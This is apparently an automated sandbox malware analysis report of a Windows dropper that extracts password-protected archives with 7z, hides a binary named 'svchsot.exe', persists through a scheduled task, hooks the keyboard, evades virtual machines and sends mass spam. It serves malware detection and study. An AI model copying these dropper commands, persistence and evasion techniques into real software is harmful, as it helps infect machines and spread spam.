Source: global traffic	DNS traffic detected: DNS query: smtp.cyberia.net.lb
Source: global traffic	DNS traffic detected: DNS query: out.alpi-med.com
Source: global traffic	DNS traffic detected: DNS query: smtp.cooperagroup.es
Source: global traffic	DNS traffic detected: DNS query: smtp.tpg.com.au
Source: global traffic	DNS traffic detected: DNS query: mail.rcn.com
Source: global traffic	DNS traffic detected: DNS query: mx.generic-isp.com
Source: global traffic	DNS traffic detected: DNS query: smtp.maharahr.com
Source: global traffic	DNS traffic detected: DNS query: secure.iqasllc.com
Source: global traffic	DNS traffic detected: DNS query: adultbizevents.com
Source: global traffic	DNS traffic detected: DNS query: mail.soulether.com
Source: global traffic	DNS traffic detected: DNS query: mail.interlang.es
Source: global traffic	DNS traffic detected: DNS query: docomo.ne.jp
Source: global traffic	DNS traffic detected: DNS query: rogers.com
Source: global traffic	DNS traffic detected: DNS query: tinyworld.co.uk
Source: global traffic	DNS traffic detected: DNS query: mx.talktalk.net
Source: global traffic	DNS traffic detected: DNS query: securesmtp.segpllc.com
Source: global traffic	DNS traffic detected: DNS query: mail.escolamodernadeidiomas.com.br
Source: global traffic	DNS traffic detected: DNS query: mail.windstream.net
Source: global traffic	DNS traffic detected: DNS query: mail.curfewfiresafety.com
Source: global traffic	DNS traffic detected: DNS query: smtp.breakdesign.com.au
Source: global traffic	DNS traffic detected: DNS query: secure.ilike.com
Source: global traffic	DNS traffic detected: DNS query: smtp.alexlee-music.co.uk
Source: global traffic	DNS traffic detected: DNS query: smtp.shaw.ca
Source: global traffic	DNS traffic detected: DNS query: secure.coelhosom.com.br
Source: global traffic	DNS traffic detected: DNS query: mx.ayutthayathai.com
Source: global traffic	DNS traffic detected: DNS query: irda.pl
Source: global traffic	DNS traffic detected: DNS query: securesmtp.catsmeowgroomingspa.com
Source: global traffic	DNS traffic detected: DNS query: viha.ca
Source: global traffic	DNS traffic detected: DNS query: smtp.alunova.it
Source: global traffic	DNS traffic detected: DNS query: mdjev.brandenburg.de
Source: global traffic	DNS traffic detected: DNS query: securesmtp.hamdmadetour.jp
Source: global traffic	DNS traffic detected: DNS query: joyrex.net
Source: global traffic	DNS traffic detected: DNS query: mail.interfree.it
Source: global traffic	DNS traffic detected: DNS query: mail.baritextilemills.com
Source: global traffic	DNS traffic detected: DNS query: smtp.mta.ca
Source: global traffic	DNS traffic detected: DNS query: securesmtp.clubinternet.fr
Source: global traffic	DNS traffic detected: DNS query: mx1-eu1.ppe-hosted.com
Source: global traffic	DNS traffic detected: DNS query: smtp.citromail.hu
Source: global traffic	DNS traffic detected: DNS query: c-line.de
Source: global traffic	DNS traffic detected: DNS query: smtp.nerdheaven.dk
Source: global traffic	DNS traffic detected: DNS query: i.softbank.jp
Source: global traffic	DNS traffic detected: DNS query: mail.ile.osaka-u.ac.jp
Source: global traffic	DNS traffic detected: DNS query: eyou.com
Source: global traffic	DNS traffic detected: DNS query: secure.protocallmcs.com
Source: global traffic	DNS traffic detected: DNS query: smtp.ilski.fr
Source: global traffic	DNS traffic detected: DNS query: out.berging.se
Source: global traffic	DNS traffic detected: DNS query: securesmtp.lexie.jp
Source: global traffic	DNS traffic detected: DNS query: secure.avenirtc.fr
Source: global traffic	DNS traffic detected: DNS query: yaho.de
Source: global traffic	DNS traffic detected: DNS query: out.paradoxismical.net
Source: global traffic	DNS traffic detected: DNS query: smtp.telenet.be

Source: file.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: file.exe	String found in binary or memory: https://sectigo.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

0_2_00408DBB

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 104

System Summary

Drops password protected ZIP file

Source: file.bin.0.dr

Zip Entry: encrypted

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 4_2_00C496AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

4_2_00C496AC

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

File created: C:\Windows\Tasks\psdirwa.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405BFC	0_2_00405BFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B0E0	0_2_0040B0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B0E4	0_2_0040B0E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419973	0_2_00419973
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A900	0_2_0040A900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A270	0_2_0040A270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040AC20	0_2_0040AC20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409C20	0_2_00409C20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D480	0_2_0040D480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040ED00	0_2_0040ED00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409DD0	0_2_00409DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419601	0_2_00419601
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004196DB	0_2_004196DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418F40	0_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C6F13E	4_2_00C6F13E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C624C0	4_2_00C624C0
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C65458	4_2_00C65458
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C647AC	4_2_00C647AC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C88817	4_2_00C88817
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C50DCC	4_2_00C50DCC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C4F1B4	4_2_00C4F1B4
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C4B114	4_2_00C4B114
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C5C278	4_2_00C5C278
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C72578	4_2_00C72578
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C83528	4_2_00C83528
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C7066E	4_2_00C7066E
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C6D66C	4_2_00C6D66C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C5D858	4_2_00C5D858
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C779DC	4_2_00C779DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C849A5	4_2_00C849A5
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C799B8	4_2_00C799B8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C6694C	4_2_00C6694C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C7FA0C	4_2_00C7FA0C
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C8DA30	4_2_00C8DA30
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C58CA8	4_2_00C58CA8
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C57C68	4_2_00C57C68
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C8DC11	4_2_00C8DC11
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C8DD00	4_2_00C8DD00
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C66E08	4_2_00C66E08
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C5AF58	4_2_00C5AF58
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C48F18	4_2_00C48F18

Source: Joe Sandbox View	Dropped File: C:\ProgramData\iihfve\psdirwa.exe CFB1FD0ADF528FCF14647CF3FCD85FB7E4FDDD2167B36F9E8B2424B62453DF28
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\main\7z.dll 34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004029A6 appears 44 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000003.1675860909.0000000002780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1675860909.0000000002780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XFileVersionFileDescriptionOriginalFilename: _winzip_.rsrcCOFF_SYMBOLSCERTIFICATE vs file.exe
Source: file.exe, 00000000.00000003.1675860909.0000000002780000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.dll, vs file.exe
Source: file.exe, 00000000.00000000.1653761545.0000000000423000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStatPlus6.exe0 vs file.exe
Source: file.exe, 00000000.00000003.1680139431.0000000002660000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.exe, vs file.exe
Source: file.exe, 00000000.00000003.1675521172.0000000006A00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.exe, vs file.exe
Source: file.exe, 00000000.00000003.1675521172.0000000006A00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1675521172.0000000006A00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XFileVersionFileDescriptionOriginalFilename: _winzip_.rsrcCOFF_SYMBOLSCERTIFICATE vs file.exe
Source: file.exe, 00000000.00000003.1675521172.0000000006A00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.dll, vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameStatPlus6.exe0 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@20/17@443/100

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

0_2_00409606

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C4AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		4_2_00C4AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C51D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,FindCloseChangeNotification,		4_2_00C51D04

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

0_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Code function: 9_2_00401556 CreateToolhelp32Snapshot,Process32First,Process32Next,

9_2_00401556

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

0_2_004092C1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

0_2_004020BF

Source: C:\ProgramData\iihfve\psdirwa.exe	Mutant created: \Sessions\1\BaseNamedObjects\psdirwa
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6824:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\main

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p11126109881796147432108526241 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "svchsot.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\svchsot.exe "svchsot.exe"
Source: unknown	Process created: C:\ProgramData\iihfve\psdirwa.exe C:\ProgramData\iihfve\psdirwa.exe start2
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p11126109881796147432108526241 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "svchsot.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\svchsot.exe "svchsot.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2600456 > 1048576

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

0_2_00402665

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004192C0 push eax; ret		0_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C6676A push rcx; ret		4_2_00C6676B

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	File created: C:\ProgramData\iihfve\psdirwa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

File created: C:\ProgramData\iihfve\psdirwa.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

File created: C:\Windows\Tasks\psdirwa.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

RDTSC instruction interceptor: First address: 403843 second address: 403843 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push ecx 0x00000007 push edx 0x00000008 push edi 0x00000009 push esi 0x0000000a imul eax, eax, 001E7319h 0x00000010 add eax, 3CFB5543h 0x00000015 rcr eax, 10h 0x00000018 add eax, ecx 0x0000001a test edx, edx 0x0000001c je 00007FE7CDCE2815h 0x0000001e imul eax, edx 0x00000021 xor edx, edx 0x00000023 mul dword ptr [ebp+08h] 0x00000026 mov eax, edx 0x00000028 pop esi 0x00000029 pop edi 0x0000002a pop edx 0x0000002b pop ecx 0x0000002c pop ebx 0x0000002d leave 0x0000002e retn 0004h 0x00000031 lea ebx, dword ptr [eax+04h] 0x00000034 push 00000018h 0x00000036 call 00007FE7CDCE4FDEh 0x0000003b rdtsc

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Code function: 9_2_00403843 rdtsc

9_2_00403843

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\Desktop\file.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

API coverage: 5.2 %

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe TID: 6968	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe TID: 6820	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	0_2_0040367D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	0_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C47978 FindFirstFileW,FindFirstFileW,free,	4_2_00C47978

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 4_2_00C4881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

4_2_00C4881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 4_2_00C4B5E0 GetSystemInfo,

4_2_00C4B5E0

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\ProgramData\iihfve\psdirwa.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior

Source: psdirwa.exe, 0000000A.00000002.2904710499.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +mx-avas.mvmnet.com
Source: psdirwa.exe, 0000000A.00000002.2904710499.000000000053E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe

Code function: 9_2_00403843 rdtsc

9_2_00403843

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

0_2_00402665

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Code function: 9_2_00401000 mov eax, dword ptr fs:[00000030h]		9_2_00401000
